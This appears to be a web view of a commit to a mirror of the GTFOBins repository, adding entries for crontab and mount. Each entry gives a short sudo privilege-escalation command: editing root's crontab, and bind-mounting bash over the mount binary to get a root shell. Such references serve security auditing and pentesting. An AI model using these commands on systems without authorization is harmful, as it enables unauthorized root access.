mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
added crontab and mount
This commit is contained in:
parent
d6895f367d
commit
85b99ce89f
7
_gtfobins/crontab.md
Normal file
7
_gtfobins/crontab.md
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo-enabled:
|
||||||
|
- description: edit root's crontab and run arbitrary commands as root.
|
||||||
|
code: |
|
||||||
|
sudo crontab -e
|
||||||
|
---
|
8
_gtfobins/mount.md
Normal file
8
_gtfobins/mount.md
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo-enabled:
|
||||||
|
- description: bind mount bash to the mount binary, as mount is sudo enabled.
|
||||||
|
code: |
|
||||||
|
sudo mount -o bind /bin/bash /bin/mount
|
||||||
|
sudo mount
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user